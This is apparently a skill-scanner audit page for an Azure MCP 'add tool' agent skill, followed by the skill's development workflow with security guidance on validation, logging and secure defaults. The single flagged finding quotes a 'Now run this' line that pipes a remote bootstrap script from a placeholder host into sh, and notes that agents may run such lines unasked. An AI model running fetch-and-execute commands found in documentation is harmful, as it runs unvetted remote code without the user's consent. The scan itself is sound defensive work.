add-azure-mcp-tools — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited add-azure-mcp-tools (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Step-by-step workflow for adding a new command to any Azure MCP toolset. Each phase has an explicit gate — do not proceed until the gate passes.
Before starting, determine:
⚠️ CRITICAL: Does your command interact with Azure resources?
| Azure Service Commands | Non-Azure Commands | |
|---|---|---|
| Examples | ACR Registry List, SQL Database List, Storage Account Get | CLI wrappers, Best Practices, Documentation tools |
| test-resources.bicep | ✅ Required | ❌ Skip |
| test-resources-post.ps1 | ✅ Required (even if basic) | ❌ Skip |
| RBAC role assignments | ✅ Required | ❌ Skip |
| Live tests | ✅ Required (recorded) | ❌ Skip |
| Unit tests | ✅ Required | ✅ Required |
Terminology note: In this repo, _tool_ refers to the MCP-exposed capability and _command_ refers to the underlying C# command class implementation. Both terms appear in the codebase and docs.
All tool inputs are untrusted. These requirements apply at every phase and are not optional.
ValidateOptions for semantic constraints beyond nullability (name length, format, mutual exclusivity, and allowed value sets). Only reject characters that are provably invalid for the specific resource type. This applies to both the new two-generic SubscriptionCommand pattern and the legacy one-generic pattern — see the ValidateOptions override guidance in Phase 1d.Length, explicit allowed-value sets, character/category checks).{@Options}) — they may contain secrets, connection strings, or PII.options.Subscription, options.ResourceGroup, Name.// ✅ Log only known-safe, individually named fields
_logger.LogError(ex, "Error in {Operation}. Subscription: {Subscription}, ResourceGroup: {ResourceGroup}",
Name, options.Subscription, options.ResourceGroup);
// ❌ Never log the whole options object — it may contain keys, connection strings, or PII
_logger.LogError(ex, "Error in {Operation}. Options: {@Options}", Name, options);
// ❌ Never surface raw exception bodies to callers — they may contain tokens or account metadata
return $"Request failed: {requestFailedException.Message}"; // may include auth headersIAzureService dependency or inject IEndpointValidator from Microsoft.Mcp.Core.Helpers to guard endpoint usage — choose the method that matches your scenario:AzureService.ValidateAzureServiceEndpoint(endpoint: endpoint, serviceType: serviceType) before constructing the client. Code without IAzureService may inject IEndpointValidator and call ValidateAzureServiceEndpoint(endpoint, serviceType, armEnvironment) with the configured Azure cloud. The validator obtains the currently executing tool namespace from ICommandContextAccessor; callers must not supply or infer it. This enforces the correct per-cloud domain suffix (e.g. .blob.core.windows.net / .blob.core.chinacloudapi.cn) and HTTPS.EndpointValidator.ValidateExternalUrl(url, allowedHosts) with an explicit allowlist of permitted hosts.AzureService.ValidatePublicTargetUrl(url: url) or inject IEndpointValidator and call ValidatePublicTargetUrl(url). This enforces HTTP(S)-only schemes, rejects private/reserved IP ranges and hostnames, and resolves DNS to catch hostnames that map to internal IPs. The validator applies namespace-scoped emergency overrides from the ambient command context.IEndpointValidator, register it with services.AddEndpointValidation(). Reuse the host-owned validator and policy; do not construct a production validator or pass an executing namespace at tool boundaries.EndpointValidator because they go through the typed Azure SDK ARM client. Construct ARM resource IDs using ResourceIdentifier or collection helpers — never by string-interpolating subscription/resource-group/resource-name directly into a raw ARM path.CancellationToken as the final parameter to all async downstream calls and propagate it throughout — never substitute CancellationToken.None or default at call sites.Tools that create or create-or-update Azure resources must produce a secure configuration when the caller omits security-related options. Do not rely on an Azure service's current defaults. Explicitly set every supported security property in the typed SDK request model so a service-side default change cannot make the tool less secure.
A tool may expose a less secure behavior for a legitimate compatibility or development scenario, but only as a deliberate caller choice:
--allow-public-network-access, --allow-http, --minimum-tls-version, or --enable-local-auth. Avoid ambiguous options such as --secure false.[Option] description and command documentation. Validate allowed values and incompatible combinations before sending the request.Add tests proving that an invocation without security options sends or creates the secure configuration. Add focused tests for each downgrade option and for create-or-update omission behavior; use a recorded live test to verify the resulting Azure resource state when practical.
| Threat | Established mitigation in this project |
|---|---|
| Input abuse (oversized/malformed names) | Override ValidateOptions with resource-specific length and format checks using deterministic validation first (length bounds, allowed-value sets, character/category checks). For query inputs, use a dedicated validator class — see CosmosQueryValidator.EnsureReadOnlySelect (tools/Azure.Mcp.Tools.Cosmos/src/Validation/CosmosQueryValidator.cs) as a reference for length cap, keyword blocking, and injection pattern detection. |
| Injection into downstream systems | For user-supplied queries: use a validator class that enforces a single read-only statement, caps length, strips/blocks dangerous tokens, and detects tautology patterns. Do not interpolate user input into query strings directly — prefer parameterized APIs where available. For blob/resource URIs: call IAzureService.ValidateAzureServiceEndpoint or the injected IEndpointValidator.ValidateAzureServiceEndpoint before constructing any client (see tools/Azure.Mcp.Tools.Compute/src/Services/ComputeService.cs blob URI handling as a reference). |
| Secret leakage via logs or error responses | Log only individually named, non-sensitive fields: options.Subscription, options.ResourceGroup, Name. Never use {@Options} or log connection strings, keys, or endpoint values. Override GetErrorMessage to return actionable but non-revealing messages — strip raw RequestFailedException bodies that may contain tokens or account metadata. |
| Cross-tenant/resource confusion | SubscriptionCommand base class enforces that --subscription is always present and resolved via ISubscriptionResolver before ExecuteAsync is called. Pass options.Tenant to all service calls so IAzureService can validate tenant context per-request. Fail explicitly if tenant context is ambiguous — do not fall back silently. |
| SSRF-like endpoint misuse | Prefer the existing IAzureService validation methods. Without that dependency, inject IEndpointValidator: call ValidateAzureServiceEndpoint(endpoint, serviceType, armEnvironment) for Azure data-plane endpoints and ValidatePublicTargetUrl(url) for arbitrary user-controlled targets. EndpointValidator.ValidateExternalUrl(url, allowedHosts) remains static for exact known external hosts. The injected validator resolves the command namespace through ICommandContextAccessor; callers never pass it. |
| Proxy behavior | Do not treat proxy routing as endpoint authorization. The shared factory selects one explicit proxy in ALL_PROXY, HTTPS_PROXY, then HTTP_PROXY order for both HTTP and HTTPS. Requests routed through a proxy omit transport DNS/IP checks because that proxy is the network boundary. NO_PROXY, operating-system bypass, and PAC DIRECT routes use the protected direct transport and retain filtering. Debug recording proxies remain a handler-wide exception. Endpoint validation remains required in every case. |
When using an AI assistant (such as GitHub Copilot) to scaffold or generate command, service, or test code, include the following in every prompt:
Requirements:
- Validate user-controlled inputs in `ValidateOptions` using resource-specific rules (naming rules, allowed values, length caps) where applicable; do not use one generic rule for all options.
- Prefer SDK/runtime validators and deterministic checks for user input validation.
- Log only individually named, known-safe parameters; never log option objects, credentials, keys, connection strings, or other secret-bearing fields.
- For endpoint/URL inputs, prefer `IAzureService` validation methods or inject the host-owned `IEndpointValidator`; use static `EndpointValidator.ValidateExternalUrl` only for exact known external hosts. Avoid direct interpolation of unvalidated input into URLs or downstream queries.
- For create or create-or-update tools, explicitly configure secure resource defaults (private access, HTTPS and strong TLS, and Managed Identity/RBAC where supported). Any weaker behavior must require a narrowly named, documented opt-in option, and omission during an update must not weaken the resource.
- Add negative tests for relevant security cases introduced by the command (for example malformed names, invalid endpoint hosts, or unsafe query text) rather than a one-size-fits-all set of tests.
- Keep error messages actionable but non-revealing: avoid exposing stack traces, raw backend payloads, or sensitive values to callers.Review every AI-generated snippet for these properties before committing. Generated code that omits them must be corrected before the security gate in Phase 7 can be met.
Create the toolset directory structure:
tools/Azure.Mcp.Tools.{Toolset}/
├── src/
│ ├── Azure.Mcp.Tools.{Toolset}.csproj
│ ├── {Toolset}Setup.cs
│ ├── Commands/
│ │ ├── {Resource}/
│ │ │ └── {Resource}{Operation}Command.cs
│ │ └── {Toolset}JsonContext.cs
│ ├── Options/
│ │ └── {Resource}/
│ │ └── {Resource}{Operation}Options.cs
│ ├── Services/
│ │ ├── I{Toolset}Service.cs
│ │ └── {Toolset}Service.cs
│ └── Models/
└── tests/
├── Azure.Mcp.Tools.{Toolset}.Tests/
│ └── Azure.Mcp.Tools.{Toolset}.Tests.csproj
├── test-resources.bicep (Azure service commands only)
└── test-resources-post.ps1 (Azure service commands only)Required setup steps:
Directory.Packages.props (if Azure SDK needed)pwsh eng/scripts/Update-Solutions.ps1 -All
servers/Azure.Mcp.Server/src/Program.cs RegisterAreas() (alphabetical order)SubscriptionCommand<TOptions, TResult> and inject ISubscriptionResolver.BaseCommand<TOptions, TResult> directly.Only add a shared intermediate base command if you have real cross-command logic shared by multiple commands in the same toolset.
{Toolset}Setup.cs ConfigureServices: public void ConfigureServices(IServiceCollection services)
{
services.AddSingleton<I{Toolset}Service, {Toolset}Service>();
services.AddSingleton<{Resource}{Operation}Command>();
}GATE: dotnet build servers/Azure.Mcp.Server/src must pass.
Create these files in order:
[Option] attributes)File: src/Options/{Resource}/{Resource}{Operation}Options.cs
using Azure.Mcp.Core.Options;
using Microsoft.Mcp.Core.Models;
using Microsoft.Mcp.Core.Options;
namespace Azure.Mcp.Tools.{Toolset}.Options.{Resource};
public class {Resource}{Operation}Options : ISubscriptionOption
{
[Option("Description of what this option does (e.g., 'The name of the resource').")]
public string? MyOption { get; set; }
[Option(OptionDescriptions.ResourceGroup)]
public string? ResourceGroup { get; set; }
[Option(OptionDescriptions.Subscription)]
public string? Subscription { get; set; }
[Option(OptionDescriptions.Tenant)]
public string? Tenant { get; set; }
}Rules:
ISubscriptionOption for commands that need subscription resolution[Option("description")] for the description — property name auto-converts to --kebab-case[Option(Name = "custom")] only when the default kebab-case conversion is wrong (e.g., when property is named FooBar and has [Option(Name = "foobar")] you get --foobar instead of --foo-bar)[Option(OptionDescriptions.X)] for shared descriptions (Subscription, Tenant, ResourceGroup, AuthMethod)[OptionContainer<TContainer>(Prefix = "prefix")] for model types which contain nested parameters. "prefix" will be prepended to the [Option]s in the model type (e.g., when [OptionContainer<TContainer>(Prefix = "foo")]'s model contains [Option(Name = "bar")] the parameter name is --foo-bar).subscription (never subscriptionId) — supports both IDs and namesresourceGroup (never resourceGroupName)server not serverName)name suffixes (Account / --account not AccountName / --account-name)required on required options; use nullable types (?) for optional options.public int Count { get; set; }) are always valid without required — they default to 0. Use required if the caller must explicitly provide a value, or use int? if the parameter should be truly optional.ResourceGroup, Subscription, Tenant, AuthMethodNote: Options are defined entirely via[Option]attributes. A static{Toolset}OptionDefinitionsclass is not needed
File: src/Services/I{Toolset}Service.cs
Return type depends on operation type:
Task<ResourceQueryResults<MyModel>> (includes AreResultsTruncated flag)Task<List<MyModel>>Task<MyResultModel>public interface I{Toolset}Service
{
// Resource Graph read operation
Task<ResourceQueryResults<MyModel>> GetResourcesAsync(
string? myOption,
string subscription,
string? resourceGroup = null,
string? tenant = null,
CancellationToken cancellationToken = default);
// Data plane operation (returns simple List)
Task<List<MyDetail>> GetDetailsAsync(
string resourceName,
string subscription,
string? tenant = null,
CancellationToken cancellationToken = default);
}File: src/Services/{Toolset}Service.cs
Choose base class:
BaseAzureResourceServiceBaseAzureServiceBaseAzureResourceServiceextendsBaseAzureService— neither is inherently read-only or write-only. The distinction is whether you need ARG querying functionality.
public class {Toolset}Service(IAzureService azureService)
: BaseAzureResourceService(azureService), I{Toolset}Service
{
public async Task<ResourceQueryResults<MyModel>> GetResourcesAsync(
string? myOption,
string subscription,
string? resourceGroup = null,
string? tenant = null,
CancellationToken cancellationToken = default)
{
return await ExecuteResourceQueryAsync(
"Microsoft.{Provider}/{resourceType}",
resourceGroup,
subscription,
null,
ConvertToModel,
tenant: tenant,
cancellationToken: cancellationToken);
}
private static MyModel ConvertToModel(JsonElement item)
{
var data = MyModelData.FromJson(item);
return new MyModel(
Name: data.ResourceName,
Id: data.ResourceId,
Location: data.Location.ToString(),
Tags: data.Tags as IReadOnlyDictionary<string, string>
);
}
}For write operations (using direct ARM clients):
public class {Toolset}Service(IAzureService azureService)
: BaseAzureService(azureService), I{Toolset}Service
{
public async Task<MyResource> CreateResourceAsync(
string resourceName,
string resourceGroup,
string subscription,
string? tenant = null,
CancellationToken cancellationToken = default)
{
var subscriptionResource = await AzureService.GetSubscription(subscription, tenant, cancellationToken: cancellationToken);
// CRITICAL: Use GetResourceGroupAsync with await
var rgResource = await subscriptionResource.GetResourceGroupAsync(resourceGroup, cancellationToken);
var resource = await rgResource.Value
.GetMyResources()
.GetAsync(resourceName, cancellationToken: cancellationToken);
return resource.Value;
}
}Sovereign cloud rules:
AzureService.CloudConfiguration.CloudType switch — never hardcode URLsData plane endpoint pattern (required for services like Storage, Cosmos, Search):
public class MyService(IAzureService azureService)
: BaseAzureResourceService(azureService), IMyService
{
private async Task<MyDataPlaneClient> CreateDataPlaneClientAsync(
string resourceName,
string? tenant = null,
CancellationToken cancellationToken = default)
{
var endpoint = GetResourceEndpoint(resourceName);
var options = AddDefaultPolicies(new MyClientOptions());
options.Transport = new HttpClientTransport(AzureService.GetClient());
return new MyDataPlaneClient(
new Uri(endpoint),
await GetCredential(tenant, cancellationToken),
options);
}
private string GetResourceEndpoint(string resourceName)
{
return AzureService.CloudConfiguration.CloudType switch
{
AzureCloudConfiguration.AzureCloud.AzurePublicCloud =>
$"https://{resourceName}.service.core.windows.net",
AzureCloudConfiguration.AzureCloud.AzureChinaCloud =>
$"https://{resourceName}.service.core.chinacloudapi.cn",
AzureCloudConfiguration.AzureCloud.AzureUSGovernmentCloud =>
$"https://{resourceName}.service.core.usgovcloudapi.net",
_ => $"https://{resourceName}.service.core.windows.net"
};
}
}Patterns and anti-patterns:
// ❌ Hardcoded public-cloud endpoint
var client = new BlobServiceClient(new($"https://{account}.blob.core.windows.net"), credential, options);
// ❌ Hardcoded connection string
var connectionString = $"AccountEndpoint=https://{server}.documents.azure.com:443/;...";
// ✅ Cloud-aware endpoint via switch expression
var endpoint = GetBlobEndpoint(account);
var client = new BlobServiceClient(new(endpoint), credential, options);Reference implementations: StorageService, CosmosService, SearchService, ConfidentialLedgerService.
Long-running operations (at this time) don't offer the ability to configure polling intervals, and even if they were able to there is a limit on how small of a polling interval can be used. Due to this, to prevent long-running operations with a significant number of polls from wasting CPU time waiting during testing, all long-running operations should use a two call pattern. The first call is the service method starting the polling operation, that should pass WaitUntil.Started to simply begin the operation. Then waiting for completion should call BaseAzureService.WaitForLroCompletionAsync to wait for completion in a way that testing can ignore the polling interval to prevent CPU wait loops that aren't necessary when playback testing.
var lroOperation = Service.LroAsync(WaitUntil.Started, cancellationToken);
await WaitForLroCompletionAsync(lroOperation, cancellationToken);File: src/Commands/{Resource}/{Resource}{Operation}Command.cs
Required using statements:
using Azure.Mcp.Core.Commands.Subscription;
using Azure.Mcp.Core.Services.Azure.Subscription;
using Azure.Mcp.Tools.{Toolset}.Models;
using Azure.Mcp.Tools.{Toolset}.Options.{Resource};
using Azure.Mcp.Tools.{Toolset}.Services;
using Microsoft.Extensions.Logging;
using Microsoft.Mcp.Core.Commands;
using Microsoft.Mcp.Core.Models.Command;[CommandMetadata(
Id = "<generate-new-guid>",
Name = "operation",
Title = "Human Readable Title",
Description = """
What this command does. Include required options and return format.
""",
OperationPlane = ToolOperationPlane.Control,
Destructive = false,
Idempotent = true,
OpenWorld = false,
ReadOnly = true,
Secret = false,
LocalRequired = false)]
public sealed class {Resource}{Operation}Command(
ILogger<{Resource}{Operation}Command> logger,
I{Toolset}Service service,
ISubscriptionResolver subscriptionResolver)
: SubscriptionCommand<{Resource}{Operation}Options, {Resource}{Operation}Command.{Resource}{Operation}CommandResult>(subscriptionResolver)
{
private readonly ILogger<{Resource}{Operation}Command> _logger = logger;
private readonly I{Toolset}Service _service = service;
public override async Task<CommandResponse> ExecuteAsync(
CommandContext context, {Resource}{Operation}Options options, CancellationToken cancellationToken)
{
try
{
var results = await _service.GetResourcesAsync(
options.MyOption,
options.Subscription!,
options.ResourceGroup,
options.Tenant,
cancellationToken);
context.Response.Results = ResponseResult.Create(
new {Resource}{Operation}CommandResult(results?.Results ?? [], results?.AreResultsTruncated ?? false),
{Toolset}JsonContext.Default.{Resource}{Operation}CommandResult);
}
catch (Exception ex)
{
_logger.LogError(ex, "Error in {Operation}. Subscription: {Subscription}",
Name, options.Subscription);
HandleException(context, ex);
}
return context.Response;
}
public record {Resource}{Operation}CommandResult(List<MyModel> Items, bool AreResultsTruncated);
}Key points (two-generic pattern from `docs/option-conversion.md`):
CommandMetadata properties are required; choose OperationPlane to match the APIs the tool acts againstSubscriptionCommand<TOptions, TResult> — TResult is the command's result recordISubscriptionResolver injected via primary constructor and passed to baseExecuteAsync receives pre-bound `TOptions options` — no ParseResult parameterRegisterOptions()/BindOptions() overrides needed — OptionBinder handles binding via [Option] attributesValidate() call — framework validates based on nullability and ValidateOptions() overridepublic (for JSON serialization context visibility) and declared inside the command class{@Options} — may expose sensitive informationCustom validation (required for semantic and security constraints beyond nullability):
public override void ValidateOptions({Resource}{Operation}Options options, ValidationResult validationResult)
{
base.ValidateOptions(options, validationResult); // checks --subscription
// Required-field check
if (string.IsNullOrEmpty(options.MyRequiredField))
{
validationResult.Errors.Add("--my-required-field is required.");
}
// Security: validate against the specific Azure resource's naming rules.
// Prefer deterministic checks first (length + character/category checks).
// Look up exact constraints at:
// https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules
//
// Example for a Storage account name (3–24 lowercase alphanumeric only):
if (options.Account is not null &&
!IsValidStorageAccountName(options.Account))
{
validationResult.Errors.Add("--account must be 3–24 lowercase alphanumeric characters (storage account naming rule).");
}
}
private static bool IsValidStorageAccountName(string value)
{
if (value.Length is < 3 or > 24)
return false;
foreach (var ch in value)
{
if (!((ch >= 'a' && ch <= 'z') || (ch >= '0' && ch <= '9')))
return false;
}
return true;
}Intermediate base commands (only if you have shared cross-command logic):
// Use interface constraints for type-safe access to shared options
public abstract class Base{Toolset}Command<
[DynamicallyAccessedMembers(TrimAnnotations.CommandAnnotations)] TOptions, TResult>(
ISubscriptionResolver subscriptionResolver)
: SubscriptionCommand<TOptions, TResult>(subscriptionResolver)
where TOptions : class, ISubscriptionOption, I{Toolset}Option
{
public override void ValidateOptions(TOptions options, ValidationResult validationResult)
{
base.ValidateOptions(options, validationResult);
// Shared validation using options.SharedProperty
}
}File: src/Commands/{Toolset}JsonContext.cs
[JsonSerializable(typeof({Resource}{Operation}Command.{Resource}{Operation}CommandResult))]
[JsonSerializable(typeof(MyModel))]
[JsonSourceGenerationOptions(
PropertyNamingPolicy = JsonKnownNamingPolicy.CamelCase,
DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull)]
internal partial class {Toolset}JsonContext : JsonSerializerContext;Guidelines:
[JsonSerializable] attributes sorted by typeof model name{Toolset}JsonContext.cs){Toolset}JsonContext.Default.{CommandResult} when serializing — never JsonSerializer.Deserialize<T>() without a contextFile: src/{Toolset}Setup.cs
public class {Toolset}Setup : IAreaSetup
{
public string Name => "{toolset}";
public string Title => "Manage Azure {Toolset}";
public void ConfigureServices(IServiceCollection services)
{
services.AddSingleton<I{Toolset}Service, {Toolset}Service>();
// Register all commands as singletons
services.AddSingleton<{Resource}{Operation}Command>();
}
public CommandGroup RegisterCommands(IServiceProvider serviceProvider)
{
var root = new CommandGroup(Name,
"""
{Toolset} operations - description of what this toolset covers.
""",
Title);
var resource = new CommandGroup("{resource}", "{Resource} operations description");
root.AddSubGroup(resource);
resource.AddCommand<{Resource}{Operation}Command>(serviceProvider);
return root;
}
}Also register the toolset in servers/Azure.Mcp.Server/src/Program.cs:
private static IAreaSetup[] RegisterAreas()
{
return [
// ... existing toolsets (alphabetical order) ...
new Azure.Mcp.Tools.{Toolset}.{Toolset}Setup(),
// ... more toolsets ...
];
}The RegisterAreas() list must remain alphabetically sorted (excluding the #if !BUILD_NATIVE block).
Command group naming: concatenated lowercase or dash-separated. Never underscores.
"entraadmin", "resourcegroup", "storageaccount", "entra-admin""entra_admin", "resource_group", "storage_account"Command hierarchy patterns and anti-patterns:
azmcp postgres server param set (command groups: server → param, operation: set)azmcp postgres server setparam (mixed operation setparam at same level)azmcp storage blob upload permission setazmcp storage blobuploadThis pattern improves discoverability and allows grouping related operations.
GATE: dotnet build tools/Azure.Mcp.Tools.{Toolset}/src must pass with 0 errors.
File: tests/Azure.Mcp.Tools.{Toolset}.Tests/{Resource}/{Resource}{Operation}CommandTests.cs
using System.Net;
using Azure.Mcp.Core.Services.Azure;
using Azure.Mcp.Tests.Commands;
using Azure.Mcp.Tools.{Toolset}.Commands;
using Azure.Mcp.Tools.{Toolset}.Commands.{Resource};
using Azure.Mcp.Tools.{Toolset}.Models;
using Azure.Mcp.Tools.{Toolset}.Services;
using Microsoft.Mcp.Core.Options;
using NSubstitute;
using NSubstitute.ExceptionExtensions;
using Xunit;
namespace Azure.Mcp.Tools.{Toolset}.Tests.{Resource};
public class {Resource}{Operation}CommandTests
: SubscriptionCommandUnitTestsBase<{Resource}{Operation}Command, I{Toolset}Service>
{
[Fact]
public void Constructor_InitializesCommandCorrectly()
{
var command = Command.GetCommand();
Assert.Equal("operation", command.Name);
Assert.NotNull(command.Description);
Assert.NotEmpty(command.Description);
}
[Theory]
[InlineData("--my-option val --subscription sub123", true)]
[InlineData("--subscription sub123", true)] // my-option is optional
[InlineData("", false)] // missing args
public async Task ExecuteAsync_ValidatesInputCorrectly(string args, bool shouldSucceed)
{
if (shouldSucceed)
{
Service.GetResourcesAsync(
Arg.Any<string?>(),
Arg.Any<string>(),
Arg.Any<string?>(),
Arg.Any<string?>(),
Arg.Any<CancellationToken>())
.Returns(new ResourceQueryResults<MyModel>([], false));
}
var response = await ExecuteCommandAsync(args);
Assert.Equal(shouldSucceed ? HttpStatusCode.OK : HttpStatusCode.BadRequest, response.Status);
if (!shouldSucceed)
Assert.Contains("required", response.Message.ToLower());
}
[Fact]
public async Task ExecuteAsync_DeserializationValidation()
{
Service.GetResourcesAsync(
Arg.Any<string?>(),
Arg.Any<string>(),
Arg.Any<string?>(),
Arg.Any<string?>(),
Arg.Any<CancellationToken>())
.Returns(new ResourceQueryResults<MyModel>([], false));
var response = await ExecuteCommandAsync("--subscription", "sub123");
var result = ValidateAndDeserializeResponse(
response, {Toolset}JsonContext.Default.{Resource}{Operation}CommandResult);
Assert.Empty(result.Items);
}
[Fact]
public async Task ExecuteAsync_HandlesServiceErrors()
{
Service.GetResourcesAsync(
Arg.Any<string?>(),
Arg.Any<string>(),
Arg.Any<string?>(),
Arg.Any<string?>(),
Arg.Any<CancellationToken>())
.ThrowsAsync(new Exception("Test error"));
var response = await ExecuteCommandAsync("--subscription", "sub123", "--my-option", "val");
Assert.Equal(HttpStatusCode.InternalServerError, response.Status);
Assert.Contains("Test error", response.Message);
Assert.Contains("troubleshooting", response.Message);
}
[Fact]
public async Task ExecuteAsync_HandlesNotFound()
{
Service.GetResourcesAsync(
Arg.Any<string?>(),
Arg.Any<string>(),
Arg.Any<string?>(),
Arg.Any<string?>(),
Arg.Any<CancellationToken>())
.ThrowsAsync(new RequestFailedException((int)HttpStatusCode.NotFound, "Resource not found"));
var response = await ExecuteCommandAsync("--subscription", "sub123", "--my-option", "val");
Assert.Equal(HttpStatusCode.NotFound, response.Status);
Assert.Contains("Resource not found", response.Message);
}
}Critical: Choose the correct test base class:
SubscriptionCommand → use SubscriptionCommandUnitTestsBase<TCommand, TService>BaseCommand directly (no subscription) → use CommandUnitTestsBase<TCommand, TService>Using the wrong base class will cause DI failures.
Prefer string args over constructing options directly. Using ExecuteCommandAsync("--account", ...) tests the full pipeline: [Option] attribute registration, OptionBinder parsing, and SubscriptionResolver post-processing.
Mock rules:
Arg.Any<CancellationToken>() for CancellationToken in mocksTestContext.Current.CancellationToken when invoking real codeArg.Is(value) or the value directly for specific match assertionsCancellationToken.None or default in test codeDeserialization rules:
{Toolset}JsonContext.Default.{Operation}CommandResult for deserialization — never define custom test modelsValidateAndDeserializeResponse(response, {Toolset}JsonContext.Default.{Operation}CommandResult)JsonSerializer.Deserialize<TestModel>(json)GATE: dotnet test tools/Azure.Mcp.Tools.{Toolset}/tests --filter "FullyQualifiedName~{Resource}{Operation}CommandTests" must pass.
Skip this phase for non-Azure commands (CLI wrappers, best practices, documentation tools).
File: tests/test-resources.bicep
targetScope = 'resourceGroup'
@minLength(3)
@maxLength(17)
param baseName string = resourceGroup().name
param testApplicationOid string = deployer().objectId
param location string = resourceGroup().location
resource myResource 'Microsoft.{Provider}/{type}@{api-version}' = {
name: baseName
location: location
properties: { /* minimal config */ }
}
resource roleAssignment 'Microsoft.Authorization/roleAssignments@2022-04-01' = {
name: guid(roleDefinition.id, testApplicationOid, myResource.id)
scope: myResource
properties: {
principalId: testApplicationOid
roleDefinitionId: roleDefinition.id
}
}
output resourceName string = myResource.nameFile: tests/test-resources-post.ps1 (required even if empty logic)
[CmdletBinding()]
param (
[Parameter(Mandatory)] [hashtable] $DeploymentOutputs,
[Parameter(Mandatory)] [hashtable] $AdditionalParameters
)
Write-Host "{Toolset} post-deployment setup completed."Validate: az bicep build --file tools/Azure.Mcp.Tools.{Toolset}/tests/test-resources.bicep
File: tests/Azure.Mcp.Tools.{Toolset}.Tests/{Toolset}CommandTests.cs
public class {Toolset}CommandTests(ITestOutputHelper output, TestProxyFixture fixture, LiveServerFixture liveServerFixture)
: RecordedCommandTestsBase(output, fixture, liveServerFixture)
{
[Fact]
public async Task {Resource}{Operation}_ReturnsExpectedResult()
{
var result = await CallToolAsync(
"{toolset}_{resource}_{operation}",
new()
{
["subscription"] = SubscriptionId,
["resource-group"] = ResourceGroupName,
});
Assert.NotNull(result);
var items = result.Value.AssertProperty("items");
Assert.Equal(JsonValueKind.Array, items.ValueKind);
}
}#### LocalRequired tools
Remote HTTP mode intentionally excludes tools marked LocalRequired = true. Every recorded test for such a tool must verify that exclusion and return before exercising local-only behavior:
if (await AssertLocalToolIsUnavailableInHttpMode("{toolset}_{resource}_{operation}"))
{
return;
}Use the inherited helper in every applicable test in a class extending RecordedCommandTestsBase; do not duplicate the transport check or unavailable-tool assertions.
#### Create assets.json
Create assets.json if it doesn't exist:
{
"AssetsRepo": "Azure/azure-sdk-assets",
"AssetsRepoPrefixPath": "",
"TagPrefix": "Azure.Mcp.Tools.{Toolset}.Tests",
"Tag": ""
}#### Deploy
eng/common/TestResources/New-TestResources.ps1 `
-TestResourcesDirectory tools/Azure.Mcp.Tools.{Toolset}#### Record tests
dotnet test tools\Azure.Mcp.Tools.{Toolset}\tests\Azure.Mcp.Tools.{Toolset}.Tests `
--filter "FullyQualifiedName~{Resource}{Operation}"#### Push recordings
.proxy\Azure.Sdk.Tools.TestProxy push `
-a tools\Azure.Mcp.Tools.{Toolset}\tests\Azure.Mcp.Tools.{Toolset}.Tests\assets.json#### Verify playback Change TestMode to "Playback" in .testsettings.json, then re-run tests
These are common causes of recorded test failures. Always verify playback passes after recording.
#### Always pass Settings.TenantId in live test calls
If the test subscription lives in a non-default tenant, the command will fail with InvalidAuthenticationTokenTenant. Include tenant when your subscription requires it:
var result = await CallToolAsync(
"{toolset}_{resource}_{operation}",
new()
{
{ "subscription", Settings.SubscriptionId },
{ "resource-group", Settings.ResourceGroupName },
{ "tenant", Settings.TenantId } // Always include
});#### Use RegisterOrRetrieveVariable for all dynamic values
Any non-deterministic value (Guid.NewGuid(), DateTime.Now) must be wrapped so the same value is used in both Record and Playback runs:
// ✅ Value is recorded and replayed deterministically
var topicName = RegisterOrRetrieveVariable("create_topic_name", $"topic-{Guid.NewGuid():N}"[..24]);
// ❌ Different GUID each run — breaks playback request matching
var topicName = $"topic-{Guid.NewGuid():N}"[..24];#### Assertions must survive sanitization
Recording sanitizers replace sensitive values (resource names, IDs, endpoints) with placeholders like "Sanitized". Your assertion strategy depends on your test class sanitizer configuration:
| Approach | When to use | Example toolsets |
|---|---|---|
| Exact name assert | Your sanitizers do NOT replace the resource name | KeyVault, FunctionApp |
Structural assert (AssertProperty) | Your sanitizers DO replace the name | EventGrid |
SanitizeAndRecord helper | You need exact asserts AND have aggressive sanitizers | ManagedLustre |
How to check: After recording, inspect the session recording JSON (use .proxy/Azure.Sdk.Tools.TestProxy.exe config locate -a <assets.json>). If the "name" field shows "Sanitized", you cannot use exact name asserts without the SanitizeAndRecord pattern.
// Safe assertions that survive any sanitizer configuration:
topic.AssertProperty("name"); // Checks existence only
Assert.Equal("Succeeded", topic.GetProperty("provisioningState").GetString()); // Enum values aren't sanitized
Assert.Equal(JsonValueKind.Object, topic.ValueKind); // Type checks#### Credential type in .testsettings.json
Deploy-TestResources.ps1 sets AZURE_TOKEN_CREDENTIALS=AzurePowerShellCredential. If the MCP server subprocess cannot access the PowerShell credential cache (common on some machines), switch to AzureCliCredential:
"EnvironmentVariables": {
"AZURE_TOKEN_CREDENTIALS": "AzureCliCredential"
}Ensure az login --tenant <tenant-id> is active. If recording fails with credential errors from the subprocess, this is the likely fix.
#### Redeploy if resource group is missing
Test resource groups are auto-deleted after 12 hours. If tests fail with ResourceGroupNotFound, redeploy:
./eng/scripts/Deploy-TestResources.ps1 -Paths {Toolset}The test .csproj must have these specific settings or tests will fail with "azmcp.exe not found":
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net10.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<IsPackable>false</IsPackable>
<IsTestProject>true</IsTestProject>
<OutputType>Exe</OutputType>
<HasLiveTests>true</HasLiveTests>
<HasUnitTests>true</HasUnitTests>
</PropertyGroup>
<ItemGroup>
<ProjectReference Include="..\..\src\Azure.Mcp.Tools.{Toolset}.csproj" />
<ProjectReference Include="$(RepoRoot)servers\Azure.Mcp.Server\src\Azure.Mcp.Server.csproj" />
</ItemGroup>
